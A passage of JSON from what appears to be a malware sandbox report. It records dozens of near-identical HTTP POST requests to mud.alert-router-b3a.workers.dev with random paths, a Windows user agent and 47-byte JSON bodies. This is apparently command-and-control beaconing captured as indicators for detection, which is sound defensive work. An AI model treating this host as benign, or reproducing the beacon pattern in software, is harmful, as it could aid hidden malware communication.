mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//jqHrafeATqTSU/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //jqHrafeATqTSU/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//EAocBeCic3AO2/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //EAocBeCic3AO2/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//D4iVghsaj8wZC/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //D4iVghsaj8wZC/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//oQzMXnPDRkEy/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //oQzMXnPDRkEy/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//v5HrDTqXQVptKqc/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //v5HrDTqXQVptKqc/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//wD4Ck/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //wD4Ck/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//ojI6pCpeGC/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //ojI6pCpeGC/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//nVZcc3IYxb7l/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //nVZcc3IYxb7l/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Fc/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Fc/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//HHX0rupsGntL3j/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //HHX0rupsGntL3j/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//HiWaTSMb17U/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //HiWaTSMb17U/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//w5nqdx4spJsX/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //w5nqdx4spJsX/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//c22ZTVbDPzukHO/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //c22ZTVbDPzukHO/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//jx/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //jx/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//4cP/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //4cP/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//BgKHv4/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //BgKHv4/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//HMoqGbhOmfXyxJ/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //HMoqGbhOmfXyxJ/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//dVdcSNmvk7RbtVY/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //dVdcSNmvk7RbtVY/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//QUuIlBIfI/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //QUuIlBIfI/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//BQpOx7vEvr72iVb/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //BQpOx7vEvr72iVb/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//eTAf6o4/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //eTAf6o4/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//i/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //i/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//akJCotJuHJ32S/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //akJCotJuHJ32S/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//MnU1X/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //MnU1X/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//XR7i3j/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //XR7i3j/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//d7/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //d7/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//mG64tTLtJtKpR2U/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //mG64tTLtJtKpR2U/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//E4GZW76/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //E4GZW76/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//wWzHhHGMOGAh/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //wWzHhHGMOGAh/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Knz3PsYNsOy/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Knz3PsYNsOy/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//XDUaT/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //XDUaT/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//08/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //08/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//KMAVn3B4646dol/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //KMAVn3B4646dol/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//dTUgxKqtOk/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //dTUgxKqtOk/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//gn/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //gn/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//X0X6xH/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //X0X6xH/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//q41vnlMXEKfyZ/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //q41vnlMXEKfyZ/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Z5JuUG5YfMsqL36/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Z5JuUG5YfMsqL36/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//atzqRRtc2t1BOm/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //atzqRRtc2t1BOm/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//8/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //8/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//nlcBJDG2j/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //nlcBJDG2j/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Lz1MMbYyqX/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Lz1MMbYyqX/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//kBlH5V/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //kBlH5V/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//1u7oGSsIV0/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //1u7oGSsIV0/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//M1b6ery8f/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //M1b6ery8f/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//BNkrb/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //BNkrb/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//fPST/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //fPST/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//LUNM424/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //LUNM424/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//yLP086E3PqBvYbf/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //yLP086E3PqBvYbf/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//CoYzd4WBZBs7vX/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //CoYzd4WBZBs7vX/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//gng5FSjk/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //gng5FSjk/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//lUvLCoog5O/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //lUvLCoog5O/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//wr0X30bqaNCCgaQ/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //wr0X30bqaNCCgaQ/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//jZpEJQB/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //jZpEJQB/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//8EHb/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //8EHb/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//k8Us/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //k8Us/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//tH/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //tH/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//cJsy2imjGtLXQ/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //cJsy2imjGtLXQ/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//2Bm/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //2Bm/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//2i/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //2i/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//ovHpLF5/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //ovHpLF5/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//BL1vQZYlBgKaPMc/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //BL1vQZYlBgKaPMc/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//EhNKKzNX1XRs/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //EhNKKzNX1XRs/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//h8IW4/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //h8IW4/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//h/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //h/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//kWYgWpF4/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //kWYgWpF4/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//0/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //0/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//tOIWyET/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //tOIWyET/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//K7/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //K7/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//Uv3qbJ4hGPQ30ZH/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //Uv3qbJ4hGPQ30ZH/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: application/json\nHost: mud.alert-router-b3a.workers.dev\nContent-Length: 47","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"host":"mud.alert-router-b3a.workers.dev","host_ip":"104.21.23.246:443","url":"//U7/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST //U7/ HTTP/1.1\nUser-Agent: Microsoft Windows NT 10.0.22621.0\nContent-Type: 